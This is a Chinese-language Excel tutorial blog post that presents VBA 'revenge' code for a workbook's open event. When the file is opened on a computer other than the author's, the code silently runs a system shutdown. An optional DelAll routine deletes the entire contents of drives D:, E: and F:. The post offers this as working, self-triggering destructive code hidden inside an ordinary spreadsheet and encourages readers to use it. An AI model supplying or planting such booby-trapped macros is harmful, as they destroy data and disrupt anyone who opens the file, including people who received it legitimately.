返回目录:excel表格制作
有时候工作中有些重要的Excel文件,不希望别人拷贝走,但是你人不在的时候,别人悄悄拷贝怎么办?没有关系,我们就有充分的理由报复私自拷走你文件的人,怎么办呢?
比如我这个文件比较重要
那我们就可以在这个文件里插入些VBA代码,操作:Alt+F11,进入VBE,在ThisWorkbook模块中写下面的代码:
如果是在其他计算机上打开此文件,就关机!如果比较痛恨私自拷贝文件的人,启用 call Alldl
代码(写在hisWorkbook模块):
Private Sub Workbook_Open() '这段代码放在ThisWorkbook模块中
'Function:报复盗取你的EXCEL文档的人
'Author:流沙莫小虫
'Date:2016/12/29
If Environ("ComputerName") <> "admin" Then 'admin是我的计算机名称,如果不是我的计算机打开此文件就调用guanji函数,这里一定要改成你自己的计算机名称
'Call DelAll '删除盘符里的文件,这个功能小心使用,除非你对私自拷贝你文件的人十分痛恨
Call guanji '调用关机程序
'当然你可以限制其他条件,比如文件位置固定或者打开时间限制等等
End If
End Sub
Sub guanji() '这个的功能是关机
On Error Resume Next
Dim WSHshellA
Set WSHshellA = CreateObject("wscript.shell")
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""请勿盗取我的文件!"" ", 0, True
End Sub
Sub DelAll() '删除盘符里的文件
On Error Resume Next
strpathname1 = "D:"
strpathname2 = "E:"
strpathname3 = "F:"
CreateObject("scripting.filesystemobject").getfolder(strpathname1).Delete True
CreateObject("scripting.filesystemobject").getfolder(strpathname2).Delete True
CreateObject("scripting.filesystemobject").getfolder(strpathname3).Delete True
End Sub
注意 DelAll(),一旦启用,他将删除DEF盘里的内容,除非十分痛恨私自拷贝文件的人,或者不要启用。
真所谓冤冤相报何时了。好了今天就写到此,